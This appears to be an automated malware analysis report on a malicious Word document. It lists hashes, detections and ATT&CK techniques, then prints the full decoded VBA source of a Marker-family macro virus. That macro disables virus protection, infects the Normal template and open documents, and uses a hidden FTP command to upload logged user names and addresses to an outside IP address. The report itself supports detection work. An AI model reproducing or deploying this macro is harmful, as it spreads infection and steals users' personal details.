Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a2333f4e362af756…

MALICIOUS

Office (OLE)

57.5 KB Created: 2012-04-26 06:46:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: 7f1c9f9223a91daa17b908028867e514 SHA-1: 998eba42bef772d763ff9566c9ee1af944ec5f7b SHA-256: a2333f4e362af7565564b6215cde5aaff7db625727fd561b2b2a8fd9988f51de
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The macros attempt to write a second-stage payload to 'c:\netldx.vxd' and connect to '209.201.88.110'. The presence of the Shell() call and ClamAV detections strongly indicate malicious intent.

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-31
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6209 bytes
SHA-256: d9e454205eb702a2b275d49307c05238e78d77ee524f769de2d738e2bc045b3a
Detection
ClamAV: Doc.Trojan.Marker-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For i = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next i
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For i = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next i

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B
... (truncated)